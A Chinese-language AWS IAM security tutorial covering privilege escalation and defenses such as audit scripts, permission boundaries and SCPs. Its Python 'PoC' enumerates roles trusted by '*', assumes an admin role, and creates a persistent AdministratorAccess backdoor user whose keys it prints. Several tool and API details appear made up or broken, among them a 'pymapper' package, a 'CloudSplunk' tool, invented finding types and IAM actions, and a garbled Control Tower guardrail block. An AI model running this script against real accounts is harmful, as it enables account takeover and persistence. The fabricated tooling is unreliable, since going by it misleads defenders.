一、AWS IAM 架构全景

AWS IAM(Identity and Access Management)是 AWS 安全的核心基石。几乎所有 AWS 安全事件都与 IAM 配置不当有关。

IAM 核心概念
┌─────────────────────────────────────────────────────────┐
│ Users (用户)          Roles (角色)       Groups (组)    │
│  - 人类用户/服务账号    - 无长期凭证        - 批量授权     │
│  - 有 Access Key       - STS 临时凭证      - 管理方便     │
├─────────────────────────────────────────────────────────┤
│ Policies (策略)                                         │
│  - JSON 文档: Effect + Action + Resource + Condition     │
│  - 附加到 User/Role/Group                               │
├─────────────────────────────────────────────────────────┤
│ Trust Policy (信任策略)                                 │
│  - 谁能 AssumeRole 这个 Role?                          │
│  - Principal + Condition                                │
├─────────────────────────────────────────────────────────┤
│ Permission Boundary (权限边界)                          │
│  - 绝对上限: 即使给了 Admin,Boundary 也能卡死           │
│  - 在 Org / SCP 级别强制                                │
└─────────────────────────────────────────────────────────┘

1.1 IAM 权限传递链

User A (Policy: iam:PassRole, ec2:RunInstances)
    │
    └──→ AssumeRole 到 Role B (Policy: s3:*)
              │
              └──→ 如果 Role B 的 TrustPolicy 太宽 → 攻击者也能 AssumeRole 到 Role B
                        │
                        └──→ Role B 有 s3:* → 攻击者拿全 S3 权限

这就是 IAM 权限提升的核心路径:PassRole → 过宽的 TrustPolicy → 接管高权限 Role。

二、IAM 权限提升 PoC(真实可复现)

2.1 场景

公司有一个低权限 EC2 Role,但其 TrustPolicy 错写成了 Principal: "*"。攻击者拿到了一个 Lambda 角色的凭证(只有 iam:PassRole),可以直接 AssumeRole 到这个高权限 Role。

2.2 PoC 代码

#!/usr/bin/env python3
"""
AWS IAM Privilege Escalation PoC
路径: Lambda Role (iam:PassRole) → AssumeRole 到 TrustPolicy=* 的 admin role
"""
import boto3, json, time, sys

class AWSIOExploit:
    def __init__(self, access_key, secret_key, session_token=None):
        self.session = boto3.Session(
            aws_access_key_id=access_key,
            aws_secret_access_key=secret_key,
            aws_session_token=session_token,
            region_name="us-east-1"
        )
        self.iam = self.session.client("iam")
        self.sts = self.session.client("sts")

    def find_vulnerable_roles(self):
        """找出 TrustPolicy 里有 * Principal 的 Role"""
        print("[*] 枚举所有 IAM Role...")
        paginator = self.iam.get_paginator("list_roles")
        vulnerable = []
        for page in paginator.paginate():
            for role in page["Roles"]:
                role_name = role["RoleName"]
                trust_doc = role["AssumeRolePolicyDocument"]
                principals = trust_doc.get("Statement", [{}])[0].get("Principal", {})
                if principals == "*" or (isinstance(principals, dict) and principals.get("AWS") == "*"):
                    # 进一步看这个 Role 有什么权限
                    policies = self._get_role_policies(role_name)
                    print(f"  🔴 Role {role_name}: TrustPolicy=*, Policies={policies}")
                    vulnerable.append((role_name, policies))
        return vulnerable

    def _get_role_policies(self, role_name):
        attached = self.iam.list_attached_role_policies(RoleName=role_name)
        return [p["PolicyArn"] for p in attached["AttachedPolicies"]]

    def escalate_to_role(self, role_arn):
        """AssumeRole 到目标 Role"""
        print(f"[*] 尝试 AssumeRole → {role_arn}")
        try:
            resp = self.sts.assume_role(
                RoleArn=role_arn,
                RoleSessionName="pwned-session"
            )
            creds = resp["Credentials"]
            print(f"[+] 获取凭证成功!")
            print(f"    AccessKeyId: {creds['AccessKeyId'][:20]}...")
            print(f"    Expiration: {creds['Expiration']}")

            # 用新凭证探索
            new_session = boto3.Session(
                aws_access_key_id=creds["AccessKeyId"],
                aws_secret_access_key=creds["SecretAccessKey"],
                aws_session_token=creds["SessionToken"],
                region_name="us-east-1"
            )
            self._exploit(new_session)
            return True
        except Exception as e:
            print(f"[-] AssumeRole 失败: {e}")
            return False

    def _exploit(self, session):
        """用拿到的高权限做坏事"""
        print("[*] 列出所有 S3 Buckets...")
        s3 = session.client("s3")
        try:
            buckets = [b["Name"] for b in s3.list_buckets()["Buckets"]]
            print(f"  📦 {len(buckets)} 个 Bucket: {buckets[:5]}...")
        except Exception as e:
            print(f"  [-] {e}")

        print("[*] 列出所有 IAM User...")
        iam = session.client("iam")
        try:
            users = [u["UserName"] for u in iam.list_users()["Users"]]
            print(f"  👤 {len(users)} 个 User")
            # 尝试给攻击者加 Admin 权限
            self._create_admin_user(iam)
        except Exception as e:
            print(f"  [-] {e}")

    def _create_admin_user(self, iam_client):
        """给自己造一个 Admin 后门用户"""
        username = "backdoor-admin-" + str(int(time.time()))
        try:
            iam_client.create_user(UserName=username)
            iam_client.attach_user_policy(
                UserName=username,
                PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
            )
            ak = iam_client.create_access_key(UserName=username)["AccessKey"]
            print(f"  🔴 后门用户创建成功: {username}")
            print(f"     AK: {ak['AccessKeyId']}")
            print(f"     SK: {ak['SecretAccessKey']}")
        except Exception as e:
            print(f"  [-] 创建失败: {e}")

if __name__ == "__main__":
    # 攻击者只拿到了一个低权限 Lambda Role 的凭证
    exploit = AWSIOExploit(
        access_key="AKIAIOSFODNN7EXAMPLE",
        secret_key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
    )
    vulnerable = exploit.find_vulnerable_roles()
    for role_name, policies in vulnerable:
        if "AdministratorAccess" in str(policies):
            exploit.escalate_to_role(f"arn:aws:iam::123456789012:role/{role_name}")
            break

三、IAM 权限评估工具链

3.1 AWS IAM Access Analyzer(官方)

# 启用 Access Analyzer(会扫描整个 Organization 的信任边界)
aws accessanalyzer create-analyzer   --analyzer-name "org-analyzer"   --type ORGANIZATION   --region us-east-1

# 等待扫描完成后查看 Findings
aws accessanalyzer list-findings   --analyzer-arn arn:aws:access-analyzer:us-east-1:123456789012:analyzer/org-analyzer   --region us-east-1 | python3 -m json.tool

# 常见 Findings:
# - "UNKNOWN_ACCESS" : 资源被外部 principal 访问(Bucket 公开、Role 给 *)
# - "NO_ACCESS_GRANTED" : 策略有 Allow 但 Resource 是空的
# - "UNUSED_ACCESS" : 有大权限但长期没用(过度授权)

3.2 PMapper:可视化权限传递

PMapper 可以画出一张图:从这个起点出发,能通过什么路径获得什么权限

# 安装
pip install pymapper

# 扫描 AWS 账号(需要只读凭证)
pmapper graph create -o account123456789012.html

# 交互式分析
pmapper graph list --profile myaccount
# 输出所有 Principal(User/Role)和它们的权限

# 模拟权限提升路径
pmapper graph query --profile myaccount   --query "在 account 123456789012 中,有没有 path 能让 s3-full-access 角色被 assume 到?"

3.3 CloudSplunk:自动化权限审计

# 安装 CloudSplunk
docker run -v ~/.aws:/root/.aws -it nccgroup/csploit

# 或者直接用 ScoutSuite(更常用)
pip install ScoutSuite
scout aws --profile myaccount --services iam,ec2,s3,lambda
# 生成 HTML 报告,标出每个过宽权限

3.4 常见高危 IAM 策略自动检测脚本

#!/usr/bin/env python3
"""
AWS IAM 高危策略审计
"""
import boto3, json, sys

def check_policy(policy_doc, policy_name, scope):
    findings = []
    statements = policy_doc.get("Statement", [])
    if not isinstance(statements, list):
        statements = [statements]

    for stmt in statements:
        effect = stmt.get("Effect", "")
        actions = stmt.get("Action", [])
        resources = stmt.get("Resource", [])
        if not isinstance(actions, list): actions = [actions]
        if not isinstance(resources, list): resources = [resources]

        if effect != "Allow": continue

        # 检测 1: 全权限
        if "*" in actions and "*" in resources:
            findings.append(("CRITICAL", f"{scope}/{policy_name}: Allow * on * → 相当于 Admin"))

        # 检测 2: PassRole + 无 Resource 限制
        if "iam:PassRole" in actions and "*" in resources:
            findings.append(("CRITICAL", f"{scope}/{policy_name}: iam:PassRole without Resource restriction → 可能权限提升"))

        # 检测 3: S3 DeleteBucket
        if "s3:DeleteBucket" in actions and "*" in resources:
            findings.append(("HIGH", f"{scope}/{policy_name}: s3:DeleteBucket on * → 生产数据风险"))

        # 检测 4: iam:CreateAccessKey
        if "iam:CreateAccessKey" in actions:
            findings.append(("HIGH", f"{scope}/{policy_name}: iam:CreateAccessKey → 可创建长期凭证后门"))

        # 检测 5: KMS key 管理
        if "kms:CreateKey" in actions and "*" in resources:
            findings.append(("MEDIUM", f"{scope}/{policy_name}: kms:CreateKey on * → 可新建 KMS key 绕过加密"))

        # 检测 6: EC2 Metadata hop
        if "ec2:ModifyInstanceMetadataOptions" in actions:
            findings.append(("MEDIUM", f"{scope}/{policy_name}: ec2:ModifyInstanceMetadataOptions → 可禁用 IMDSv2"))

    return findings

def audit():
    iam = boto3.client("iam")
    all_findings = []

    # 1. 检查所有 Customer Managed Policy
    paginator = iam.get_paginator("list_policies")
    for page in paginator.paginate(Scope="Local"):
        for policy in page["Policies"]:
            detail = iam.get_policy_version(
                PolicyArn=policy["Arn"],
                VersionId=policy["DefaultVersionId"]
            )
            doc = json.loads(detail["PolicyVersion"]["Document"])
            all_findings.extend(check_policy(doc, policy["PolicyName"], "Policy"))

    # 2. 检查所有 Role 的 TrustPolicy
    paginator = iam.get_paginator("list_roles")
    for page in paginator.paginate():
        for role in page["Roles"]:
            trust = role["AssumeRolePolicyDocument"]
            principals = trust.get("Statement", [{}])[0].get("Principal", {})
            if principals == "*":
                all_findings.append(("CRITICAL", f"Role TrustPolicy: {role['RoleName']} has Principal:* → 任何人都能 AssumeRole"))

    # 3. 检查 SCP (Service Control Policy) - 组织级别
    # 需要 organizations 权限

    # 输出
    for severity, finding in sorted(all_findings):
        icon = {"CRITICAL": "🔴", "HIGH": "🟠", "MEDIUM": "🟡"}.get(severity, "⚪")
        print(f"{icon} [{severity}] {finding}")

if __name__ == "__main__":
    audit()

四、Permissions Boundary:IAM 的"保险箱"

4.1 为什么需要 Permissions Boundary

普通 Policy 是加法(允许什么),Permissions Boundary 是减法(绝对不能超过什么)。

Policy A: Allow s3:GetObject, s3:PutObject
Policy B: Allow iam:*
Permissions Boundary: Deny iam:*

结果: s3:GetObject + s3:PutObject (iam:* 被 Boundary 卡死)

4.2 实战:强制 Permissions Boundary

// org-boundary-policy.json - 强制应用到所有新用户/角色
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["iam:*"],
      "Resource": "*"
    },
    {
      "Effect": "Deny",
      "Action": [
        "iam:CreatePolicyVersion",
        "iam:SetDefaultPolicyVersion",
        "iam:AttachRolePolicy",
        "iam:AttachUserPolicy",
        "iam:PutRolePolicy",
        "iam:PutUserPolicy",
        "iam:CreateAccessKey"
      ],
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:PrincipalTag/RolePurpose": "security-audit"
        }
      }
    }
  ]
}
# 用 Terraform + SCP 强制所有新 Role/User 应用 Boundary
resource "aws_iam_role_policy_attachment" "boundary" {
  for_each = aws_iam_role.this

  role       = each.value.name
  policy_arn = aws_iam_policy.permission_boundary.arn
}

# SCP 强制
resource "aws_organizations_policy" "enforce_boundary" {
  name        = "enforce-permission-boundary"
  description = "Deny creating principals without PermissionBoundary"
  type        = "SERVICE_CONTROL_POLICY"

  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Effect = "Deny"
        Action = [
          "iam:CreateRole",
          "iam:CreateUser"
        ]
        Resource = "*"
        Condition = {
          BoolIfExists = {
            "iam:PermissionsBoundary": "false"
          }
        }
      }
    ]
  })
}

五、AWS Organization 级别的防护

5.1 SCP (Service Control Policy)

SCP 在组织级别强制,比 IAM Policy 优先级高,可以阻止 Admin 用户做某些事。

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Action": [
        "iam:DeleteAccount",
        "iam:RemoveAccountFromOrganization",
        "s3:CreateBucket"
      ],
      "Resource": "*"
    },
    {
      "Effect": "Deny",
      "Action": "ec2:RunInstances",
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "ec2:ResourceTag/Allowed": "true"
        }
      }
    },
    {
      "Effect": "Deny",
      "Action": "*",
      "Resource": "*",
      "Condition": {
        "StringEquals": {
          "aws:Region": ["cn-north-1", "cn-northwest-1"]
        }
      }
    }
  ]
}

5.2 Guardrails(AWS Control Tower)

# Guardrails 自动强制 IAM 最佳实践
# 1. 强制 MFA
control "iam_user_mfa_enabled" {
  title       = "强制所有 IAM User 启用 MFA"
  description = "Control Tower guardrail: us-east-1 region 必须启用 MFA"
  logic       = file("./iam_mfa_enabled.rego")
  tags        = ["ram", "mfa"]
}

# 2. 禁止 0.0.0.0/0 安全组
control "ec2_restricted_ssh" {
  logic = <<-REGOPACKAGE datadog
deny[msg] {
  sg := input.resource_changes[_]
  sg.change.after.ip_permissions[_].ipv4_ranges[_] == "0.0.0.0/0"
  sg.change.after.ip_permissions[_].from_port == 22
  msg := sprintf("Security group %s allows 0.0.0.0/0 on port 22", [sg.change.after.name])
}
REGOPACKAGE
}

六、总结:AWS IAM 安全 Checklist

优先级 项目 工具/命令
P0 Access Analyzer 启用 aws accessanalyzer create-analyzer
P0 无 TrustPolicy=* PMapper 可视化
P0 所有 Role/User 有 Permission Boundary SCP 强制
P0 无长期 Access Key 90 天轮换 + GuardDuty
P1 STS 替代长期凭证 EC2/Lambda Role + AssumeRole
P1 SCP 基础护栏 禁止跨 Region / 禁止公共 S3
P1 IAM Access Analyzer 持续 Findings 自动告警
P2 定期渗透测试 PMapper + ScoutSuite